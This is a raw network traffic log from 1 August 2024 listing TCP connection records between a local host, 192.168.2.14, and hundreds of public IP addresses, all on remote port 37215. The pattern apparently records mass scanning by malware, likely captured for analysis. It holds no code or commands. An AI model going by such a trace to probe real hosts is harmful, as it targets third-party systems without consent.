Aug 1, 2024 15:34:57.913556099 CEST	37215	47767	121.62.199.140	192.168.2.14
Aug 1, 2024 15:34:57.913567066 CEST	37215	47767	41.45.42.162	192.168.2.14
Aug 1, 2024 15:34:57.913574934 CEST	37215	47767	41.166.103.104	192.168.2.14
Aug 1, 2024 15:34:57.913584948 CEST	37215	47767	41.90.98.251	192.168.2.14
Aug 1, 2024 15:34:57.913593054 CEST	37215	47767	41.111.151.249	192.168.2.14
Aug 1, 2024 15:34:57.913594007 CEST	47767	37215	192.168.2.14	121.62.199.140
Aug 1, 2024 15:34:57.913594007 CEST	47767	37215	192.168.2.14	41.45.42.162
Aug 1, 2024 15:34:57.913606882 CEST	37215	47767	157.26.83.134	192.168.2.14
Aug 1, 2024 15:34:57.913608074 CEST	47767	37215	192.168.2.14	41.166.103.104
Aug 1, 2024 15:34:57.913613081 CEST	37215	47767	41.136.163.82	192.168.2.14
Aug 1, 2024 15:34:57.913618088 CEST	37215	47767	197.88.141.86	192.168.2.14
Aug 1, 2024 15:34:57.913619995 CEST	34396	37215	192.168.2.14	41.242.194.188
Aug 1, 2024 15:34:57.913624048 CEST	37215	47767	41.99.228.156	192.168.2.14
Aug 1, 2024 15:34:57.913628101 CEST	37215	47767	41.125.35.241	192.168.2.14
Aug 1, 2024 15:34:57.913656950 CEST	37215	47767	198.50.61.121	192.168.2.14
Aug 1, 2024 15:34:57.913666010 CEST	37215	47767	135.67.34.8	192.168.2.14
Aug 1, 2024 15:34:57.913671017 CEST	37215	47767	197.125.173.151	192.168.2.14
Aug 1, 2024 15:34:57.913680077 CEST	47767	37215	192.168.2.14	41.90.98.251
Aug 1, 2024 15:34:57.913683891 CEST	47767	37215	192.168.2.14	41.125.35.241
Aug 1, 2024 15:34:57.913686991 CEST	47767	37215	192.168.2.14	41.111.151.249
Aug 1, 2024 15:34:57.913690090 CEST	47767	37215	192.168.2.14	41.99.228.156
Aug 1, 2024 15:34:57.913695097 CEST	37215	47767	148.158.21.110	192.168.2.14
Aug 1, 2024 15:34:57.913702965 CEST	47767	37215	192.168.2.14	41.136.163.82
Aug 1, 2024 15:34:57.913702965 CEST	47767	37215	192.168.2.14	157.26.83.134
Aug 1, 2024 15:34:57.913705111 CEST	37215	47767	41.34.71.97	192.168.2.14
Aug 1, 2024 15:34:57.913711071 CEST	47767	37215	192.168.2.14	197.88.141.86
Aug 1, 2024 15:34:57.913714886 CEST	47767	37215	192.168.2.14	198.50.61.121
Aug 1, 2024 15:34:57.913719893 CEST	47767	37215	192.168.2.14	135.67.34.8
Aug 1, 2024 15:34:57.913722992 CEST	47767	37215	192.168.2.14	197.125.173.151
Aug 1, 2024 15:34:57.913723946 CEST	37215	47767	197.203.25.163	192.168.2.14
Aug 1, 2024 15:34:57.913733959 CEST	47767	37215	192.168.2.14	41.34.71.97
Aug 1, 2024 15:34:57.913736105 CEST	47767	37215	192.168.2.14	148.158.21.110
Aug 1, 2024 15:34:57.913738966 CEST	37215	47767	197.218.47.52	192.168.2.14
Aug 1, 2024 15:34:57.913764954 CEST	47767	37215	192.168.2.14	197.203.25.163
Aug 1, 2024 15:34:57.913768053 CEST	47767	37215	192.168.2.14	197.218.47.52
Aug 1, 2024 15:34:57.913893938 CEST	37215	47767	157.149.59.149	192.168.2.14
Aug 1, 2024 15:34:57.913930893 CEST	47767	37215	192.168.2.14	157.149.59.149
Aug 1, 2024 15:34:57.914402008 CEST	53946	37215	192.168.2.14	41.246.219.118
Aug 1, 2024 15:34:57.914501905 CEST	37215	47767	197.12.177.238	192.168.2.14
Aug 1, 2024 15:34:57.914546967 CEST	47767	37215	192.168.2.14	197.12.177.238
Aug 1, 2024 15:34:57.914639950 CEST	37215	47767	41.226.185.52	192.168.2.14
Aug 1, 2024 15:34:57.914650917 CEST	37215	47767	41.28.228.67	192.168.2.14
Aug 1, 2024 15:34:57.914660931 CEST	37215	47767	41.38.34.178	192.168.2.14
Aug 1, 2024 15:34:57.914671898 CEST	37215	47767	41.138.157.223	192.168.2.14
Aug 1, 2024 15:34:57.914685965 CEST	47767	37215	192.168.2.14	41.226.185.52
Aug 1, 2024 15:34:57.914689064 CEST	47767	37215	192.168.2.14	41.38.34.178
Aug 1, 2024 15:34:57.914690971 CEST	37215	47767	17.184.162.193	192.168.2.14
Aug 1, 2024 15:34:57.914700031 CEST	47767	37215	192.168.2.14	41.138.157.223
Aug 1, 2024 15:34:57.914700031 CEST	47767	37215	192.168.2.14	41.28.228.67
Aug 1, 2024 15:34:57.914702892 CEST	37215	47767	157.58.83.185	192.168.2.14
Aug 1, 2024 15:34:57.914721012 CEST	47767	37215	192.168.2.14	17.184.162.193
Aug 1, 2024 15:34:57.914722919 CEST	37215	47767	157.204.169.43	192.168.2.14
Aug 1, 2024 15:34:57.914732933 CEST	47767	37215	192.168.2.14	157.58.83.185
Aug 1, 2024 15:34:57.914735079 CEST	37215	47767	157.82.126.97	192.168.2.14
Aug 1, 2024 15:34:57.914753914 CEST	37215	47767	41.117.122.197	192.168.2.14
Aug 1, 2024 15:34:57.914764881 CEST	37215	47767	157.169.67.123	192.168.2.14
Aug 1, 2024 15:34:57.914769888 CEST	37215	47767	197.107.69.53	192.168.2.14
Aug 1, 2024 15:34:57.914769888 CEST	47767	37215	192.168.2.14	157.82.126.97
Aug 1, 2024 15:34:57.914773941 CEST	37215	47767	41.118.237.13	192.168.2.14
Aug 1, 2024 15:34:57.914783955 CEST	37215	47767	157.145.13.106	192.168.2.14
Aug 1, 2024 15:34:57.914791107 CEST	47767	37215	192.168.2.14	157.204.169.43
Aug 1, 2024 15:34:57.914793015 CEST	37215	47767	149.215.103.180	192.168.2.14
Aug 1, 2024 15:34:57.914800882 CEST	47767	37215	192.168.2.14	157.169.67.123
Aug 1, 2024 15:34:57.914803028 CEST	47767	37215	192.168.2.14	41.117.122.197
Aug 1, 2024 15:34:57.914803982 CEST	37215	47767	197.162.147.135	192.168.2.14
Aug 1, 2024 15:34:57.914812088 CEST	47767	37215	192.168.2.14	197.107.69.53
Aug 1, 2024 15:34:57.914812088 CEST	47767	37215	192.168.2.14	41.118.237.13
Aug 1, 2024 15:34:57.914819956 CEST	47767	37215	192.168.2.14	157.145.13.106
Aug 1, 2024 15:34:57.914824963 CEST	37215	47767	157.157.175.15	192.168.2.14
Aug 1, 2024 15:34:57.914828062 CEST	47767	37215	192.168.2.14	149.215.103.180
Aug 1, 2024 15:34:57.914833069 CEST	47767	37215	192.168.2.14	197.162.147.135
Aug 1, 2024 15:34:57.914834023 CEST	37215	47767	41.219.222.63	192.168.2.14
Aug 1, 2024 15:34:57.914843082 CEST	37215	47767	197.106.149.105	192.168.2.14
Aug 1, 2024 15:34:57.914848089 CEST	37215	47767	197.169.195.83	192.168.2.14
Aug 1, 2024 15:34:57.914855003 CEST	47767	37215	192.168.2.14	157.157.175.15
Aug 1, 2024 15:34:57.914866924 CEST	37215	47767	41.53.43.179	192.168.2.14
Aug 1, 2024 15:34:57.914876938 CEST	37215	47767	41.248.196.155	192.168.2.14
Aug 1, 2024 15:34:57.914880037 CEST	47767	37215	192.168.2.14	41.219.222.63
Aug 1, 2024 15:34:57.914880037 CEST	47767	37215	192.168.2.14	197.106.149.105
Aug 1, 2024 15:34:57.914885998 CEST	37215	47767	197.51.179.180	192.168.2.14
Aug 1, 2024 15:34:57.914885998 CEST	47767	37215	192.168.2.14	197.169.195.83
Aug 1, 2024 15:34:57.914896965 CEST	37215	47767	84.98.41.236	192.168.2.14
Aug 1, 2024 15:34:57.914897919 CEST	47767	37215	192.168.2.14	41.53.43.179
Aug 1, 2024 15:34:57.914911032 CEST	47767	37215	192.168.2.14	41.248.196.155
Aug 1, 2024 15:34:57.914912939 CEST	37215	47767	177.125.161.29	192.168.2.14
Aug 1, 2024 15:34:57.914920092 CEST	47767	37215	192.168.2.14	197.51.179.180
Aug 1, 2024 15:34:57.914922953 CEST	37215	47767	197.26.56.105	192.168.2.14
Aug 1, 2024 15:34:57.914932013 CEST	37215	47767	157.71.147.77	192.168.2.14
Aug 1, 2024 15:34:57.914932013 CEST	47767	37215	192.168.2.14	84.98.41.236
Aug 1, 2024 15:34:57.914947033 CEST	47767	37215	192.168.2.14	177.125.161.29
Aug 1, 2024 15:34:57.914958954 CEST	47767	37215	192.168.2.14	157.71.147.77
Aug 1, 2024 15:34:57.914992094 CEST	47767	37215	192.168.2.14	197.26.56.105
Aug 1, 2024 15:34:57.915000916 CEST	37215	47767	197.57.215.100	192.168.2.14
Aug 1, 2024 15:34:57.915044069 CEST	47767	37215	192.168.2.14	197.57.215.100
Aug 1, 2024 15:34:57.915292978 CEST	35174	37215	192.168.2.14	197.92.230.23
Aug 1, 2024 15:34:57.915690899 CEST	37215	47767	161.192.12.74	192.168.2.14
Aug 1, 2024 15:34:57.915702105 CEST	37215	47767	41.29.216.172	192.168.2.14
Aug 1, 2024 15:34:57.915728092 CEST	47767	37215	192.168.2.14	161.192.12.74
Aug 1, 2024 15:34:57.915734053 CEST	47767	37215	192.168.2.14	41.29.216.172
Aug 1, 2024 15:34:57.915761948 CEST	37215	47767	197.182.10.251	192.168.2.14
Aug 1, 2024 15:34:57.915771961 CEST	37215	47767	157.252.6.251	192.168.2.14
Aug 1, 2024 15:34:57.915780067 CEST	37215	47767	157.66.221.129	192.168.2.14
Aug 1, 2024 15:34:57.915790081 CEST	37215	47767	157.183.224.16	192.168.2.14
Aug 1, 2024 15:34:57.915796041 CEST	47767	37215	192.168.2.14	197.182.10.251
Aug 1, 2024 15:34:57.915800095 CEST	37215	47767	191.56.94.135	192.168.2.14
Aug 1, 2024 15:34:57.915805101 CEST	47767	37215	192.168.2.14	157.252.6.251
Aug 1, 2024 15:34:57.915807009 CEST	47767	37215	192.168.2.14	157.66.221.129
Aug 1, 2024 15:34:57.915846109 CEST	47767	37215	192.168.2.14	157.183.224.16
Aug 1, 2024 15:34:57.915847063 CEST	47767	37215	192.168.2.14	191.56.94.135
Aug 1, 2024 15:34:57.915863991 CEST	37215	47767	126.137.46.170	192.168.2.14
Aug 1, 2024 15:34:57.915877104 CEST	37215	47767	157.209.145.254	192.168.2.14
Aug 1, 2024 15:34:57.915885925 CEST	37215	47767	157.42.91.23	192.168.2.14
Aug 1, 2024 15:34:57.915895939 CEST	37215	47767	120.6.1.12	192.168.2.14
Aug 1, 2024 15:34:57.915904045 CEST	47767	37215	192.168.2.14	126.137.46.170
Aug 1, 2024 15:34:57.915910006 CEST	47767	37215	192.168.2.14	157.209.145.254
Aug 1, 2024 15:34:57.915914059 CEST	37215	47767	197.156.134.107	192.168.2.14
Aug 1, 2024 15:34:57.915919065 CEST	37215	47767	197.127.132.209	192.168.2.14
Aug 1, 2024 15:34:57.915925980 CEST	47767	37215	192.168.2.14	157.42.91.23
Aug 1, 2024 15:34:57.915929079 CEST	37215	47767	197.234.158.246	192.168.2.14
Aug 1, 2024 15:34:57.915944099 CEST	37215	47767	197.202.158.70	192.168.2.14
Aug 1, 2024 15:34:57.915954113 CEST	37215	47767	177.87.23.173	192.168.2.14
Aug 1, 2024 15:34:57.915962934 CEST	47767	37215	192.168.2.14	120.6.1.12
Aug 1, 2024 15:34:57.915963888 CEST	37215	47767	157.86.111.85	192.168.2.14
Aug 1, 2024 15:34:57.915965080 CEST	47767	37215	192.168.2.14	197.127.132.209
Aug 1, 2024 15:34:57.915976048 CEST	47767	37215	192.168.2.14	197.156.134.107
Aug 1, 2024 15:34:57.915977001 CEST	47767	37215	192.168.2.14	197.202.158.70
Aug 1, 2024 15:34:57.915977955 CEST	47767	37215	192.168.2.14	197.234.158.246
Aug 1, 2024 15:34:57.915981054 CEST	37215	47767	197.80.101.70	192.168.2.14
Aug 1, 2024 15:34:57.915985107 CEST	47767	37215	192.168.2.14	177.87.23.173
Aug 1, 2024 15:34:57.915992022 CEST	37215	47767	41.67.11.165	192.168.2.14
Aug 1, 2024 15:34:57.916002035 CEST	37215	47767	197.211.42.17	192.168.2.14
Aug 1, 2024 15:34:57.916008949 CEST	47767	37215	192.168.2.14	157.86.111.85
Aug 1, 2024 15:34:57.916012049 CEST	47767	37215	192.168.2.14	197.80.101.70
Aug 1, 2024 15:34:57.916013002 CEST	37215	47767	102.126.80.229	192.168.2.14
Aug 1, 2024 15:34:57.916019917 CEST	47767	37215	192.168.2.14	41.67.11.165
Aug 1, 2024 15:34:57.916029930 CEST	37215	47767	91.54.224.49	192.168.2.14
Aug 1, 2024 15:34:57.916034937 CEST	37215	47767	41.36.26.10	192.168.2.14
Aug 1, 2024 15:34:57.916034937 CEST	47767	37215	192.168.2.14	197.211.42.17
Aug 1, 2024 15:34:57.916038990 CEST	37215	47767	17.37.50.46	192.168.2.14
Aug 1, 2024 15:34:57.916043043 CEST	37215	47767	41.223.194.63	192.168.2.14
Aug 1, 2024 15:34:57.916053057 CEST	37215	47767	197.58.99.51	192.168.2.14
Aug 1, 2024 15:34:57.916076899 CEST	37215	47767	157.131.159.49	192.168.2.14
Aug 1, 2024 15:34:57.916079044 CEST	47767	37215	192.168.2.14	41.36.26.10
Aug 1, 2024 15:34:57.916079044 CEST	47767	37215	192.168.2.14	91.54.224.49
Aug 1, 2024 15:34:57.916084051 CEST	47767	37215	192.168.2.14	102.126.80.229
Aug 1, 2024 15:34:57.916085005 CEST	47767	37215	192.168.2.14	41.223.194.63
Aug 1, 2024 15:34:57.916089058 CEST	47767	37215	192.168.2.14	17.37.50.46
Aug 1, 2024 15:34:57.916093111 CEST	47767	37215	192.168.2.14	197.58.99.51
Aug 1, 2024 15:34:57.916099072 CEST	49672	37215	192.168.2.14	157.153.88.99
Aug 1, 2024 15:34:57.916131020 CEST	47767	37215	192.168.2.14	157.131.159.49
Aug 1, 2024 15:34:57.916234970 CEST	37215	47767	157.96.11.90	192.168.2.14
Aug 1, 2024 15:34:57.916287899 CEST	47767	37215	192.168.2.14	157.96.11.90
Aug 1, 2024 15:34:57.916831017 CEST	54052	37215	192.168.2.14	9.105.10.4
Aug 1, 2024 15:34:57.917573929 CEST	34936	37215	192.168.2.14	79.196.100.247
Aug 1, 2024 15:34:57.917622089 CEST	37215	47767	147.67.92.140	192.168.2.14
Aug 1, 2024 15:34:57.917639971 CEST	37215	47767	166.167.234.241	192.168.2.14
Aug 1, 2024 15:34:57.917646885 CEST	37215	47767	41.180.254.178	192.168.2.14
Aug 1, 2024 15:34:57.917675972 CEST	37215	47767	190.129.172.84	192.168.2.14
Aug 1, 2024 15:34:57.917675972 CEST	47767	37215	192.168.2.14	166.167.234.241
Aug 1, 2024 15:34:57.917680979 CEST	47767	37215	192.168.2.14	147.67.92.140
Aug 1, 2024 15:34:57.917702913 CEST	47767	37215	192.168.2.14	41.180.254.178
Aug 1, 2024 15:34:57.917712927 CEST	47767	37215	192.168.2.14	190.129.172.84
Aug 1, 2024 15:34:57.917745113 CEST	37215	47767	157.251.87.206	192.168.2.14
Aug 1, 2024 15:34:57.917754889 CEST	37215	47767	41.216.20.143	192.168.2.14
Aug 1, 2024 15:34:57.917764902 CEST	37215	47767	41.175.32.126	192.168.2.14
Aug 1, 2024 15:34:57.917778969 CEST	47767	37215	192.168.2.14	157.251.87.206
Aug 1, 2024 15:34:57.917778969 CEST	47767	37215	192.168.2.14	41.216.20.143
Aug 1, 2024 15:34:57.917783976 CEST	37215	47767	157.210.156.78	192.168.2.14
Aug 1, 2024 15:34:57.917793989 CEST	37215	47767	82.245.62.208	192.168.2.14
Aug 1, 2024 15:34:57.917799950 CEST	47767	37215	192.168.2.14	41.175.32.126
Aug 1, 2024 15:34:57.917804003 CEST	37215	47767	197.211.233.205	192.168.2.14
Aug 1, 2024 15:34:57.917814970 CEST	37215	47767	41.32.65.7	192.168.2.14
Aug 1, 2024 15:34:57.917814970 CEST	47767	37215	192.168.2.14	157.210.156.78
Aug 1, 2024 15:34:57.917824030 CEST	37215	47767	197.78.23.100	192.168.2.14
Aug 1, 2024 15:34:57.917826891 CEST	47767	37215	192.168.2.14	82.245.62.208
Aug 1, 2024 15:34:57.917834044 CEST	37215	47767	99.181.163.68	192.168.2.14
Aug 1, 2024 15:34:57.917844057 CEST	37215	47767	197.83.79.167	192.168.2.14
Aug 1, 2024 15:34:57.917845011 CEST	47767	37215	192.168.2.14	197.211.233.205
Aug 1, 2024 15:34:57.917845964 CEST	47767	37215	192.168.2.14	41.32.65.7
Aug 1, 2024 15:34:57.917855978 CEST	37215	47767	129.208.216.202	192.168.2.14
Aug 1, 2024 15:34:57.917859077 CEST	47767	37215	192.168.2.14	197.78.23.100
Aug 1, 2024 15:34:57.917862892 CEST	47767	37215	192.168.2.14	99.181.163.68
Aug 1, 2024 15:34:57.917866945 CEST	37215	47767	157.114.146.76	192.168.2.14
Aug 1, 2024 15:34:57.917876959 CEST	37215	47767	126.221.236.52	192.168.2.14
Aug 1, 2024 15:34:57.917876959 CEST	47767	37215	192.168.2.14	197.83.79.167
Aug 1, 2024 15:34:57.917886019 CEST	37215	47767	41.194.159.73	192.168.2.14
Aug 1, 2024 15:34:57.917886972 CEST	47767	37215	192.168.2.14	129.208.216.202
Aug 1, 2024 15:34:57.917898893 CEST	37215	47767	197.196.164.134	192.168.2.14
Aug 1, 2024 15:34:57.917900085 CEST	47767	37215	192.168.2.14	157.114.146.76
Aug 1, 2024 15:34:57.917910099 CEST	37215	47767	197.144.66.71	192.168.2.14
Aug 1, 2024 15:34:57.917910099 CEST	47767	37215	192.168.2.14	126.221.236.52
Aug 1, 2024 15:34:57.917921066 CEST	37215	47767	197.57.40.241	192.168.2.14
Aug 1, 2024 15:34:57.917932987 CEST	47767	37215	192.168.2.14	41.194.159.73
Aug 1, 2024 15:34:57.917936087 CEST	47767	37215	192.168.2.14	197.196.164.134
Aug 1, 2024 15:34:57.917938948 CEST	37215	47767	197.196.99.188	192.168.2.14
Aug 1, 2024 15:34:57.917943954 CEST	47767	37215	192.168.2.14	197.144.66.71
Aug 1, 2024 15:34:57.917951107 CEST	37215	47767	41.104.244.105	192.168.2.14
Aug 1, 2024 15:34:57.917952061 CEST	47767	37215	192.168.2.14	197.57.40.241
Aug 1, 2024 15:34:57.917963028 CEST	37215	47767	41.65.33.148	192.168.2.14
Aug 1, 2024 15:34:57.917973042 CEST	37215	47767	157.155.48.247	192.168.2.14
Aug 1, 2024 15:34:57.917979956 CEST	47767	37215	192.168.2.14	197.196.99.188
Aug 1, 2024 15:34:57.917983055 CEST	37215	47767	140.117.86.32	192.168.2.14
Aug 1, 2024 15:34:57.917989016 CEST	37215	47767	92.172.178.218	192.168.2.14
Aug 1, 2024 15:34:57.917989969 CEST	47767	37215	192.168.2.14	41.104.244.105
Aug 1, 2024 15:34:57.918003082 CEST	47767	37215	192.168.2.14	41.65.33.148
Aug 1, 2024 15:34:57.918008089 CEST	47767	37215	192.168.2.14	157.155.48.247
Aug 1, 2024 15:34:57.918015003 CEST	37215	47767	157.211.143.246	192.168.2.14
Aug 1, 2024 15:34:57.918018103 CEST	47767	37215	192.168.2.14	92.172.178.218
Aug 1, 2024 15:34:57.918020010 CEST	47767	37215	192.168.2.14	140.117.86.32
Aug 1, 2024 15:34:57.918075085 CEST	47767	37215	192.168.2.14	157.211.143.246
Aug 1, 2024 15:34:57.918497086 CEST	39210	37215	192.168.2.14	41.243.3.39
Aug 1, 2024 15:34:57.918690920 CEST	37215	47767	41.169.242.157	192.168.2.14
Aug 1, 2024 15:34:57.918703079 CEST	37215	47767	197.192.56.246	192.168.2.14
Aug 1, 2024 15:34:57.918713093 CEST	37215	47767	41.159.86.224	192.168.2.14
Aug 1, 2024 15:34:57.918723106 CEST	37215	47767	157.217.110.254	192.168.2.14
Aug 1, 2024 15:34:57.918731928 CEST	37215	52222	157.195.114.238	192.168.2.14
Aug 1, 2024 15:34:57.918740034 CEST	47767	37215	192.168.2.14	41.169.242.157
Aug 1, 2024 15:34:57.918740988 CEST	47767	37215	192.168.2.14	197.192.56.246
Aug 1, 2024 15:34:57.918742895 CEST	37215	36586	200.156.103.209	192.168.2.14
Aug 1, 2024 15:34:57.918751001 CEST	47767	37215	192.168.2.14	157.217.110.254
Aug 1, 2024 15:34:57.918764114 CEST	37215	46778	27.57.102.199	192.168.2.14
Aug 1, 2024 15:34:57.918764114 CEST	47767	37215	192.168.2.14	41.159.86.224
Aug 1, 2024 15:34:57.918771982 CEST	52222	37215	192.168.2.14	157.195.114.238
Aug 1, 2024 15:34:57.918775082 CEST	37215	40864	41.150.28.211	192.168.2.14
Aug 1, 2024 15:34:57.918786049 CEST	37215	42200	41.103.184.180	192.168.2.14
Aug 1, 2024 15:34:57.918797016 CEST	37215	36768	157.234.123.41	192.168.2.14
Aug 1, 2024 15:34:57.918797016 CEST	36586	37215	192.168.2.14	200.156.103.209
Aug 1, 2024 15:34:57.918807030 CEST	37215	56702	197.5.0.94	192.168.2.14
Aug 1, 2024 15:34:57.918811083 CEST	46778	37215	192.168.2.14	27.57.102.199
Aug 1, 2024 15:34:57.918811083 CEST	40864	37215	192.168.2.14	41.150.28.211
Aug 1, 2024 15:34:57.918818951 CEST	37215	53584	197.51.113.103	192.168.2.14
Aug 1, 2024 15:34:57.918827057 CEST	42200	37215	192.168.2.14	41.103.184.180
Aug 1, 2024 15:34:57.918831110 CEST	37215	59660	197.14.237.171	192.168.2.14
Aug 1, 2024 15:34:57.918831110 CEST	36768	37215	192.168.2.14	157.234.123.41
Aug 1, 2024 15:34:57.918838978 CEST	56702	37215	192.168.2.14	197.5.0.94
Aug 1, 2024 15:34:57.918843031 CEST	37215	45172	102.97.63.75	192.168.2.14
Aug 1, 2024 15:34:57.918848991 CEST	37215	42208	41.172.52.42	192.168.2.14
Aug 1, 2024 15:34:57.918862104 CEST	53584	37215	192.168.2.14	197.51.113.103
Aug 1, 2024 15:34:57.918869019 CEST	37215	55958	41.146.96.4	192.168.2.14
Aug 1, 2024 15:34:57.918879032 CEST	37215	35962	137.123.9.9	192.168.2.14
Aug 1, 2024 15:34:57.918884039 CEST	59660	37215	192.168.2.14	197.14.237.171
Aug 1, 2024 15:34:57.918889046 CEST	37215	44670	12.5.237.45	192.168.2.14
Aug 1, 2024 15:34:57.918889046 CEST	45172	37215	192.168.2.14	102.97.63.75
Aug 1, 2024 15:34:57.918900013 CEST	37215	36058	197.238.214.184	192.168.2.14
Aug 1, 2024 15:34:57.918905973 CEST	35962	37215	192.168.2.14	137.123.9.9
Aug 1, 2024 15:34:57.918909073 CEST	37215	55860	157.186.91.72	192.168.2.14
Aug 1, 2024 15:34:57.918910027 CEST	55958	37215	192.168.2.14	41.146.96.4
Aug 1, 2024 15:34:57.918910027 CEST	42208	37215	192.168.2.14	41.172.52.42
Aug 1, 2024 15:34:57.918919086 CEST	37215	34188	41.3.255.40	192.168.2.14
Aug 1, 2024 15:34:57.918925047 CEST	44670	37215	192.168.2.14	12.5.237.45
Aug 1, 2024 15:34:57.918927908 CEST	37215	47942	41.34.162.72	192.168.2.14
Aug 1, 2024 15:34:57.918930054 CEST	36058	37215	192.168.2.14	197.238.214.184
Aug 1, 2024 15:34:57.918956041 CEST	55860	37215	192.168.2.14	157.186.91.72
Aug 1, 2024 15:34:57.918966055 CEST	47942	37215	192.168.2.14	41.34.162.72
Aug 1, 2024 15:34:57.918978930 CEST	34188	37215	192.168.2.14	41.3.255.40
Aug 1, 2024 15:34:57.919224977 CEST	36162	37215	192.168.2.14	197.69.41.146
Aug 1, 2024 15:34:57.919559002 CEST	37215	49764	197.6.247.128	192.168.2.14
Aug 1, 2024 15:34:57.919570923 CEST	37215	47206	41.124.231.62	192.168.2.14
Aug 1, 2024 15:34:57.919589996 CEST	37215	53880	157.3.231.133	192.168.2.14
Aug 1, 2024 15:34:57.919600010 CEST	37215	37860	157.22.48.45	192.168.2.14
Aug 1, 2024 15:34:57.919600010 CEST	49764	37215	192.168.2.14	197.6.247.128
Aug 1, 2024 15:34:57.919604063 CEST	47206	37215	192.168.2.14	41.124.231.62
Aug 1, 2024 15:34:57.919610977 CEST	37215	36092	157.239.173.146	192.168.2.14
Aug 1, 2024 15:34:57.919620991 CEST	37215	60118	157.139.217.248	192.168.2.14
Aug 1, 2024 15:34:57.919631958 CEST	53880	37215	192.168.2.14	157.3.231.133
Aug 1, 2024 15:34:57.919636011 CEST	37860	37215	192.168.2.14	157.22.48.45
Aug 1, 2024 15:34:57.919639111 CEST	37215	39132	41.243.30.216	192.168.2.14
Aug 1, 2024 15:34:57.919641018 CEST	36092	37215	192.168.2.14	157.239.173.146
Aug 1, 2024 15:34:57.919650078 CEST	37215	57968	157.124.238.97	192.168.2.14
Aug 1, 2024 15:34:57.919652939 CEST	60118	37215	192.168.2.14	157.139.217.248
Aug 1, 2024 15:34:57.919658899 CEST	37215	60860	135.171.11.223	192.168.2.14
Aug 1, 2024 15:34:57.919675112 CEST	39132	37215	192.168.2.14	41.243.30.216
Aug 1, 2024 15:34:57.919682980 CEST	57968	37215	192.168.2.14	157.124.238.97
Aug 1, 2024 15:34:57.919733047 CEST	60860	37215	192.168.2.14	135.171.11.223
Aug 1, 2024 15:34:57.920032978 CEST	37215	41632	157.143.77.8	192.168.2.14
Aug 1, 2024 15:34:57.920043945 CEST	37215	54344	41.112.168.9	192.168.2.14
Aug 1, 2024 15:34:57.920047998 CEST	35996	37215	192.168.2.14	162.197.87.219
Aug 1, 2024 15:34:57.920053959 CEST	37215	60482	197.253.172.111	192.168.2.14
Aug 1, 2024 15:34:57.920064926 CEST	37215	42674	197.139.84.49	192.168.2.14
Aug 1, 2024 15:34:57.920080900 CEST	41632	37215	192.168.2.14	157.143.77.8
Aug 1, 2024 15:34:57.920083046 CEST	37215	45244	41.185.100.117	192.168.2.14
Aug 1, 2024 15:34:57.920085907 CEST	60482	37215	192.168.2.14	197.253.172.111
Aug 1, 2024 15:34:57.920085907 CEST	54344	37215	192.168.2.14	41.112.168.9
Aug 1, 2024 15:34:57.920094013 CEST	37215	50912	157.97.41.229	192.168.2.14
Aug 1, 2024 15:34:57.920104027 CEST	37215	49010	197.101.242.74	192.168.2.14
Aug 1, 2024 15:34:57.920104980 CEST	42674	37215	192.168.2.14	197.139.84.49
Aug 1, 2024 15:34:57.920109034 CEST	37215	56238	157.23.152.245	192.168.2.14
Aug 1, 2024 15:34:57.920114040 CEST	37215	44804	197.128.51.138	192.168.2.14
Aug 1, 2024 15:34:57.920119047 CEST	37215	37384	157.16.45.114	192.168.2.14
Aug 1, 2024 15:34:57.920124054 CEST	45244	37215	192.168.2.14	41.185.100.117
Aug 1, 2024 15:34:57.920128107 CEST	37215	52190	41.26.100.186	192.168.2.14
Aug 1, 2024 15:34:57.920137882 CEST	37215	32926	197.15.213.209	192.168.2.14
Aug 1, 2024 15:34:57.920146942 CEST	37215	53504	157.178.58.224	192.168.2.14
Aug 1, 2024 15:34:57.920151949 CEST	50912	37215	192.168.2.14	157.97.41.229
Aug 1, 2024 15:34:57.920151949 CEST	49010	37215	192.168.2.14	197.101.242.74
Aug 1, 2024 15:34:57.920155048 CEST	44804	37215	192.168.2.14	197.128.51.138
Aug 1, 2024 15:34:57.920156956 CEST	37384	37215	192.168.2.14	157.16.45.114
Aug 1, 2024 15:34:57.920156956 CEST	56238	37215	192.168.2.14	157.23.152.245
Aug 1, 2024 15:34:57.920164108 CEST	52190	37215	192.168.2.14	41.26.100.186
Aug 1, 2024 15:34:57.920171022 CEST	32926	37215	192.168.2.14	197.15.213.209
Aug 1, 2024 15:34:57.920176029 CEST	53504	37215	192.168.2.14	157.178.58.224
Aug 1, 2024 15:34:57.920392036 CEST	37215	40542	197.91.165.77	192.168.2.14
Aug 1, 2024 15:34:57.920427084 CEST	37215	45042	157.141.216.101	192.168.2.14
Aug 1, 2024 15:34:57.920434952 CEST	40542	37215	192.168.2.14	197.91.165.77
Aug 1, 2024 15:34:57.920463085 CEST	37215	42852	197.194.38.163	192.168.2.14
Aug 1, 2024 15:34:57.920466900 CEST	45042	37215	192.168.2.14	157.141.216.101
Aug 1, 2024 15:34:57.920475006 CEST	37215	34698	157.253.143.41	192.168.2.14
Aug 1, 2024 15:34:57.920495033 CEST	37215	34110	157.6.154.255	192.168.2.14
Aug 1, 2024 15:34:57.920499086 CEST	42852	37215	192.168.2.14	197.194.38.163
Aug 1, 2024 15:34:57.920502901 CEST	34698	37215	192.168.2.14	157.253.143.41
Aug 1, 2024 15:34:57.920515060 CEST	37215	60066	41.38.190.41	192.168.2.14
Aug 1, 2024 15:34:57.920525074 CEST	37215	39356	197.113.21.92	192.168.2.14
Aug 1, 2024 15:34:57.920543909 CEST	34110	37215	192.168.2.14	157.6.154.255
Aug 1, 2024 15:34:57.920557976 CEST	60066	37215	192.168.2.14	41.38.190.41
Aug 1, 2024 15:34:57.920558929 CEST	37215	34450	157.237.238.8	192.168.2.14
Aug 1, 2024 15:34:57.920561075 CEST	39356	37215	192.168.2.14	197.113.21.92
Aug 1, 2024 15:34:57.920569897 CEST	37215	32902	150.202.107.179	192.168.2.14
Aug 1, 2024 15:34:57.920581102 CEST	37215	54272	41.72.112.32	192.168.2.14
Aug 1, 2024 15:34:57.920591116 CEST	37215	57886	41.76.214.25	192.168.2.14
Aug 1, 2024 15:34:57.920592070 CEST	34450	37215	192.168.2.14	157.237.238.8
Aug 1, 2024 15:34:57.920605898 CEST	32902	37215	192.168.2.14	150.202.107.179
Aug 1, 2024 15:34:57.920610905 CEST	54272	37215	192.168.2.14	41.72.112.32
Aug 1, 2024 15:34:57.920613050 CEST	37215	37282	89.158.201.188	192.168.2.14
Aug 1, 2024 15:34:57.920624018 CEST	37215	34186	41.193.128.149	192.168.2.14
Aug 1, 2024 15:34:57.920624971 CEST	57886	37215	192.168.2.14	41.76.214.25
Aug 1, 2024 15:34:57.920641899 CEST	37215	43696	177.117.141.141	192.168.2.14
